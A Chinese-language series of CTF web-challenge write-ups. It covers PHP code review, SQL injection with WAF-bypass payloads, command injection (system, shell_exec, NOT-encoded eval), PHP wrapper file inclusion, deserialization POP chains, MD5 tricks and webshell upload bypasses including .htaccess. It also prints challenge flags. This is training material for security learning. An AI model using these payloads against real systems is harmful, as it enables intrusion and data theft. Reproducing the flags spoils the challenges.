[SWPUCTF 2021 新生賽]jicao
類型:PHP、代碼審計、RCE
主要知識點:json_decode()函數
json_decode():對JSON字符串解碼,轉換為php變量
用法:
<?php
$json = {"ctf":"web","question":18};
?
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>
代碼審計:
<?php
highlight_file('index.php');
include("flag.php"); //包含一個php文件里面可能有一個$flag對象值為flag
$id=$_POST['id']; //發送一個POST請求,傳入一個參數id,定義為對象$id
$json=json_decode($_GET['json'],true);
//發送一個GET請求,傳入一個參數json;
//true將解析結果以數組形式返回;
//將解析的數組賦值給變量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//當id==wllmNB及$json進行JSON解碼后的x的關聯值為wllm時,輸出$flag的值
?>
結果:
[SWPUCTF 2021 新生賽]easy_md5
類型:弱比較、PHP、數組繞過
主要知識點:md5弱比較、數組繞過
代碼審計:
<?php highlight_file(__FILE__);include 'flag2.php';if (isset($_GET['name']) && isset($_POST['password'])){$name = $_GET['name']; //獲取GET請求中的'name'參數值,并賦值給對象$name$password = $_POST['password']; //獲取POST請求中的'password'參數值,并賦值給對象$passwordif ($name != $password && md5($name) == md5($password)){echo $flag;}//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,輸出$flag的值else {echo "wrong!";}//條件不滿足輸出"wrong!"}
else {echo 'wrong!';
}
//如果未提供'name'或'password'參數,輸出"wrong!"
?>
特殊字符串
某些特殊的字符串,加密后得到的密文以0e開頭,PHP會當作科學計數法來處理,也就是0的n次方,得到的值比較的時候都相同。此時就是值不同但md5或sha1值相同
常見的密文以0e開頭的字符串
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
?
?
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
數組繞過
md5(),sha1()函數無法處理數組,如果傳入的為數組,會返回NULL,兩個數組經過加密后得到的都是NULL,也就是相等的。故傳入兩個不同的數組經md5()加密會返回為NULL
?[SWPUCTF 2021 新生賽]include
類型:PHP偽協議、文件包含、PHP
主要知識點:php://filter偽協議
發現并沒有上傳文件的地方
嘗試用php://filter偽協議過濾一下flag.php文件(一般flag都在flag.php中)
條件:
只需要讀取,allow_url_fopen=on;allow_url_include=off
用法:
?file=php://fileter/read=<過濾器名稱>/resource=<要過濾的文件(數據流)>
補充:
php://filter是一種元封裝器:設計用于"數據流打開”時的"篩選過濾”應用,對本地磁盤文件進行讀寫,輸出base64加密后的信息
convert.base64-encode:轉換過濾器,用于過濾base64編碼
擴展:
allow_url_fopen:配置選項,默認開啟,決定了PHP 是否能夠通過URL(而不是本地文件路徑)來打開文件,為on時
,
fopen()和file_get_contents()等與文件操作相關的函數可以讀取和寫入遠程文件allow_url_include:配置選項,默認關閉,為on時,PHP 允許通過 URL 的形式,從遠程服務器包含和執行PHP 文件
進入到 flag.php頁面,發現一串base64編碼,解碼后即為flag
[SWPUCTF 2021 新生賽]easy_sql?
類型:SQL注入
主要知識點:union聯合注入
先用?id=1'嘗試發現沒變化這時發現網站標題叫“參數是wllm”,所以用?wllm=1'嘗試,回顯成功
用?wllm=1\判斷閉合方式,發現是單引號注入
用union聯合注入嘗試
?wllm=-1' union select 1,2,3--+
?回顯成功
查詢庫
?wllm=-1' union select 1,2,database()--+
爆表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
爆列
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
查看flag
?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+
[SWPUCTF 2021 新生賽]easyrce
類型:RCE、PHP
主要知識點:RCE
直接?url=system("ls");
?發現回顯index.php文件,查看其目錄?url=system("ls /");
發現目錄中有疑似flag的內容,用?url=system("cat /flllllaaaaaaggggggg");查看
[第五空間 2021]WebFTP
類型:目錄掃描、信息收集、.git泄露
主要知識點:dirsearch的使用
用bp抓包嘗試爆破但發現需要還需要驗證碼爆破難度大所以應該不是弱口令爆破
用dirsearch掃描發現git泄露
進入查看
找了一圈沒發現flag
重新看掃描結果發現有個phpinfo.php頁面,進入ctrl+f搜索flag,得到flag
[SWPUCTF 2021 新生賽]babyrce
類型:空格繞過、RCE、Cookie注入
主要知識點:Cookie注入、shell_exec()繞過
修改cookie值為admin=1得到rasalghul.php文件
?進入查看
代碼審計:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {$ip=$_GET['url'];if(preg_match("/ /", $ip)){die('nonono');}//正則匹配空格被禁用$a = shell_exec($ip);//shell_exec()將命令的輸出作為字符串返回,而不是打印到標準輸出。echo $a;
}
?>
將flag放入1.txt文件中,訪問1.txt文件即可得到flag(但這題直接cat%09/f*就可以出來了不需要再訪問1.txt文件)
[SWPUCTF 2021 新生賽]ez_unserialize
類型:反序列化、PHP
主要知識點:構造pop鏈
用御劍掃描
進入網頁,發現一個php文件
訪問
代碼審計:
<?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag; //目標}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?>
構造pop鏈,打開phpstorm
<?phpclass wllm{public $admin;public $passwd;// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "ctf"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo "Just a bit more!";
// }
// }
}//$p = $_GET['p'];
//unserialize($p);$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>
輸入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag
[SWPUCTF 2021 新生賽]easyupload2.0
類型:文件上傳、文件頭繞過
主要知識點:不常用的php可執行文件后綴
?
需要提交jpg文件
用bp抓包 ,修改后綴,嘗試雙寫繞過不可行,用其他php可執行文件的擴展名pht、phtml
用蟻劍連接,成功繞過
打開找flag
[SWPUCTF 2021 新生賽]easyupload1.0?
類型:文件上傳、MIME繞過、文件頭繞過
主要知識點:前端繞過
需要提交jpg文件
用bp抓包修改后綴
連接蟻劍
打開找flag
?但是發現這個flag是錯誤的
用phpinfo查看php服務器的配置信息
ctrl+f搜索flag
?或者直接用蟻劍打開終端用env命令查看環境變量也可以發現flag
[SWPUCTF 2021 新生賽]no_wakeup
類型:反序列化、PHP
主要知識點:構造pop鏈、繞過_wakeup()
點進去查看
代碼審計
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);} //反序列化之前觸發wakeup,給passwd賦值,導致passwd不等于wllmpublic function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag; //目標}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>
構造pop鏈
<?php
class HaHaHa{public $admin;public $passwd;// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
// public function __wakeup(){
// $this->passwd = sha1($this->passwd);
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "wllm"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->passwd;
// echo "No wake up";
// }
// }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>
由于_wakeup()函數將wllm加密導致執行echo $this->passwd;echo ?"No wake up";
故需要繞過_wakeup(),變量數量大于真實的變量數量即可繞過_wakeup()的執行
[LitCTF 2023]PHP是世界上最好的語言!!?
類型:RCE、PHP、無參RCE
提示:探姬堅信PHP是世界上最好的語言,于是她用PHP寫了一個小工具 (Flag位于根目錄)
主要知識點:命令注入
嘗試點擊發現旁邊的空白可以輸入,根據提示嘗試命令注入
發現flag,用system("cat /flag");得到flag
[SWPUCTF 2021 新生賽]PseudoProtocols
類型:PHP偽協議、PHP、文件包含
主要知識點:php://filter偽協議、data偽協議
?用php://filter/read=convert.base64-encode/resource=hint.php查看hint.php文件,發現一串base64代碼
?解碼
訪問test2222222222222.php
代碼審計:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
//file_get_contents()從一個文件中讀取所有內容,并將其作為一個字符串返回。
//'r'代表只讀模式echo "success\n";echo $flag;
}
?>
用php://input偽協議來獲取POST數據,POST為I want flag發現沒法查看
用data偽協議查看,得到flag
[LitCTF 2023]導彈迷蹤
類型:JS分析、源碼泄漏、信息收集
?發現是一個游戲,查看源代碼也沒有什么東西,用御劍和dirsearch也沒有掃出東西
直接在js文件里發現flag(一個一個文件找有點麻煩)
[NISACTF 2022]easyssrf?
類型:PHP偽協議、PHP
主要知識點:file偽協議
嘗試輸入一個flag
用file:///fl4g查看/fl4g
?訪問ha1x1ux1u.php
擴展:
stristr()查找字符串在另一個字符串中第一次出現的位置。所以不能用?file=file:///flag
直接?file=/flag得到flag
[NCTF 2018]簽到題
類型:HTTP協議、PHP、信息收集
進入后是一個百度頁面,查看源碼沒找到flag,嘗試刪除secret.php,發現刪除不掉,用bp抓包刪除后發送發現flag
?[BJDCTF 2020]easy_md5
類型:弱比較、數組繞過、PHP
主要知識點:md5(string,ture)函數
嘗試提交個1,發現url處多了個?password=1
?嘗試sql注入但發現沒有回顯,感覺不是sql注入
用bp抓包看看,發現一句sql語句
md5()函數
語法:
md5(string,raw)
#string:要加密的字符串
#raw:默認不寫是false,32位16進制字符串;如果是true,則會將輸入值進行加密,然后轉化為16位原始的二進制格式字符串
?輸入的值都被md5(string,true)函數轉化為16位二進制,網上查找要怎么繞過,發現ffifdyop字符串會造成漏洞,md5('ffifdyop',true)=''or'6�]��!r,��b'。由于在mysql里面,在用作布爾型判斷時,開頭為1的字符串(被單引號包裹)會返回為整型數1(如果直接是數字1則不用單引號包裹),1是true。所以,簡化后是password='' or 6,從而繞過md5(string,true)
輸入ffifdyop后進入一個新頁面
?查看源代碼
訪問levell14.php,進入到數組繞過部分
在POST輸入param1[]=1¶m2[]=2得到flag
[suctf 2019]EasySQL
類型:堆疊注入、SQL注入、關鍵字繞過
主要知識點:堆疊注入、猜測后端sql語句
輸入1、2、3...嘗試,都返回1
傳入flag,嘗試Union注入、報錯注入、盲注,顯示Nonono
?嘗試堆疊注入,發現可行
爆庫
1;show databases;
爆表
1;show tables;
?用select flag from Flag應該能得到flag但是flag被過濾了
法一:猜測后端查詢語句
猜測后端為:
select $_POST['query'] || flag from Flag
--||表示在Flag表中選擇$_POST['query'] 和flag字段,并將它們連接起來作為結果的一部分
本題傳入數字會回顯1,而傳入字符串則無回顯,所以猜測可能有||結構存在且Flag表中應該有個flag列。當輸入一串字符時||會將這串字符與flag連接起來作為結果,當這串字符和flag兩列都存在時才能正確回顯。假設輸入一個abc,則在后端語句應該會變為:
select abc||flag from <表名>
當表中沒有abc這列時則會返回#1054 - Unknown column 'abc' in 'field list'
構造payload:
如果我們輸入*,1則后端查詢語句會變為:
select *,1||flag from Flag;
--查詢Flag中所有列、常量1和flag列。將1與flag連接起來作為結果,由于數字是常量不會出現在查詢結果中所以結果中只會有flag這列
傳入*,1后得到flag
?方法二:sql_mode
sql_mode:一組語法校驗規則
sql_mode的值 | 作用 |
ONLY_FULL_GROUP_BY | 對于GROUP BY聚合操作,如果在SELECT中的列,沒有在GROUP BY中出現,那么這個SQL是不合法的,因為列不在GROUP BY從句中 |
NO_ZERO_DATE | mysql數據庫不允許插入零日期,插入零日期會拋出錯誤而不是警告 |
ERROR_FOR_DIVISION_BY_ZERO | 在insert或update過程中,如果數據被零除,則產生錯誤而非警告。如果未給出該模式,那么數據被零除時Mysql返回NULL |
PIPES_AS_CONCAT | 將 || 視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣是,也和字符串的拼接函數concat相類似 |
ANSI_QUOTES | 不能用雙引號來引用字符串,因為它被解釋為識別符 |
設置sql_mode的值為PIPES_AS_CONCAT,則后端查詢語句會變為:
select concat($_POST['query'],flag) from Flag
故構造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1?
后端為:
select 1;
set sql_mode=PIPES_AS_CONCAT;
select concat(1,flag) from flag;
[ZJCTF 2019]NiZhuanSiWei
類型:反序列化、PHP偽協議、PHP
主要知識點:data偽協議、構造pop鏈
分析源碼,用?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php進入查看useless.php內容
得到一串base64編碼,解碼后得到反序列化源碼
<?php class Flag{ //flag.php public $file; public function __tostring(){ //觸發時機:把對象當成字符串調用if(isset($this->file)){ echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
目標是訪問到flag.php的內容
構造pop鏈
輸入?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}得到新界面
打開源代碼發現flag
[SWPUCTF 2021 新生賽]easyupload3.0
類型:.htaccess、文件上傳、MIME繞過
主要知識點:.htaccess
上傳一句話木馬jpg文件
打開bp抓包,修改后綴發現被過濾
嘗試用雙寫繞過和不常用的php可執行文件后綴等都無法繞過
發現服務器是Apache
擴展:
.htaccess是apache的分布式配置文件,里面存放著Apache服務器配置相關的一些指令,通過寫入SetHandler application/x-httpd-php,可以將上傳的一句話木馬的jpg文件以PHP的方式執行。
這時候嘗試上傳.htaccess進行繞過。
再次上傳一次shell.jpg的一句話木馬文件,此時打開蟻劍連接/upload/shell.jpg連接成功
打開找flag
[SWPUCTF 2021 新生賽]hardrce
類型:無字母RCE、RCE、WAF繞過
主要知識點:取反繞過、目錄穿越
?代碼審計:
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT說不能用這些奇奇怪怪的符號哦!");//$blacklist里的符號、/、/m被過濾了}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul說不能用字母哦!");//字母被過濾了
}
echo "NoVic4說:不錯哦小伙子,可你能拿到flag嗎?";
eval($wllm);//將$wllm轉換為代碼執行,并返回一個或多個值,通過命令注入獲取flag
}
else
{echo "蔡總說:注意審題!!!";
}
?> 蔡總說:注意審題!!!
?用bp嘗試用url編碼繞過發現不行(瀏覽器直接自動解密了)
?這時候想到可以利用取反繞過,構造payload:
<?php$a = "system";
$a = urlencode(~$a);//~:取反寫法
$b = "ls";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>
?運行得到
輸入?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);
利用目錄穿越
<?php$a = "system";
$a = urlencode(~$a);
$b = "ls ../../../";//目錄穿越,一個一個試
$b = urlencode(~$b);
echo $a . "------" . $b;
?>
輸入得到,發現flllllaaaaaaggggggg
?繼續構造
<?php$a = "system";
$a = urlencode(~$a);
$b = "cat ../../../flllllaaaaaaggggggg";
$b = urlencode(~$b);
echo $a . "------" . $b;
?>
?輸入得到flag
[SWPUCTF 2021 新生賽]error?
類型:報錯注入、SQL注入
主要知識點:判斷注入方式、報錯注入
?
根據頁面應該使用sql注入
輸入1\判斷閉合符,為單引號閉合
嘗試union注入,發現不可行
嘗試報錯注入
爆庫:
1' and updatexml(1,concat(0x7e,(select database())),'1')#
//這題注釋符好像不能用--+
報表:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db')),'1')#
爆列:
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb')),'1')#
得到一半flag:
1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),1,32)),1)#
得到另一半flag
1' and updatexml(1,concat(0x7e,substring((select group_concat(flag) from test_tb),31,32)),1)#
完整flag:NSSCTF{6f103e1b-68cd-4525-a609-856a71118fbc}?
當然這題也可以用sqlmap直接梭哈
[SWPUCTF 2021 新生賽]pop
類型:反序列化、PHP、代碼審計
主要知識點:pop鏈的構造、代碼審計
<?phperror_reporting(0);
show_source("index.php");class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;//目標}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}class w22m{public $w00m;public function __destruct(){echo $this->w00m;}
}class w33m{public $w00m;public $w22m;public function __toString(){$this->w00m->{$this->w22m}();return 0;}
}$w00m = $_GET['w00m'];
unserialize($w00m);?>
?代碼審計:
要得到flag需要觸發Getflag()并使admin=w44m,passwd=08067。由于admin是私有屬性,passwd是受保護屬性所以直接在類里賦值,所以我們需要的就是觸發Getflag()。我們可以借助下面的類進行調用。
我們可以看到w33m類下面有一個調用w00m來調用w22m假設我們將w00m賦值為對象w44m()將w22m賦值為Getflag()那么就可以通過調用w44m類調用Getflag()從而達到目的,要觸發$this->w00m->{$this->w22m}();需要觸發__toString()觸發時機為當將對象當作字符串時,w22m類中有一個echo $this->w00m將w00m賦值為對象new w33m()即可觸發__toString()
構造payload:
<?phpclass w44m{private $admin="w44m";protected $passwd="08067" ;// public function Getflag(){
// if($this->admin === 'w44m' && $this->passwd ==='08067'){
// include('flag.php');
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo 'nono';
// }
// }
}class w22m{public $w00m;
// public function __destruct(){
// echo $this->w00m;
// }
}class w33m{public $w00m;public $w22m;
// public function __toString(){
// $this->w00m->{$this->w22m}();
// return 0;
// }
}//$w00m = $_GET['w00m'];
//unserialize($w00m);$w2 = new w22m();
$w2->w00m=new w33m();
$w2->w00m->w00m=new w44m();
$w2->w00m->w22m="Getflag";
echo urlencode(serialize($w2));
?>
由于私有屬性和被保護屬性有不可見字符所以需要urlencode,輸入后得到flag
[SWPUCTF 2022 新生賽]ez_ez_php
類型:PHP偽協議、PHP、文件包含
substr(string, int a, int b);
#從第a位截取長度為b的字符串
substr(string, int a) ;
#從第a位截取后面所有的字符串
?從第一位開始如果截取前3位為php則會觸發echo "Nice!!!"; include($_GET["file"]);
基本沒什么影響直接php://filter偽協議就行
解碼
發現flag不在flag.php里真正的flag在flag里重新構造
解碼 得到flag
[SWPUCTF 2021 新生賽]sql
類型:關鍵字繞過、空格繞過、SQL注入
想要我們輸入東西但是并沒有輸入的位置,所以應該是在url中輸入,網頁名給出了參數是wllm,根據題目可知應該是sql注入
用?wllm=1\判斷閉合符,為單引號閉合
?嘗試Union注入、報錯注入、盲注,發現被禁止了且有根據頁面應該有waf存在
先嘗試看看注釋符是否被過濾了用#發現不可行,用#的編碼%23成功繞過
?嘗試空格是否被過濾,發現被過濾
?嘗試用url編碼%20發現不可行,用%09發現可以繞過但是用?wllm=1‘%09group%09by%093%23無法判斷出列數應該還有過濾,將'替換為url編碼%27嘗試,發現成功繞過判斷出列數為3
開始union聯合注入
?wllm=-1'%09union%09select%091,2,3%23
#這里-沒有被過濾直接用就行
?
爆庫
?wllm=-1'%09union%09select%091,2,database()%23
?爆表
?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=%27test_db%27%23
發現不可行應該是過濾了=,用%09like%09嘗試繞過,發現繞過成功
?wllm=-1%27%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09%27test_db%27%23
爆列
?wllm=-1%27%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09%27LTLT_flag%27%23
爆flag
?wllm=-1%27%09union%09select%091,2,group_concat(flag)%09from%09LTLT_flag%23
發現不全,用substring連接試試,發現被過濾了
嘗試用mid連接,成功繞過
?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),1,30)%09from%09LTLT_flag%23
發現只顯示了20位,說明一次只會顯示20位字符串,查看中間20位
?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),21,20)%09from%09LTLT_flag%23
查看最后幾位
?wllm=-1%27%09union%09select%091,2,mid(group_concat(flag),41,20)%09from%09LTLT_flag%23
?
得到完整flag:NSSCTF{a36ebc2d-c62a-4c3a-a4ff-5d175b0cd860}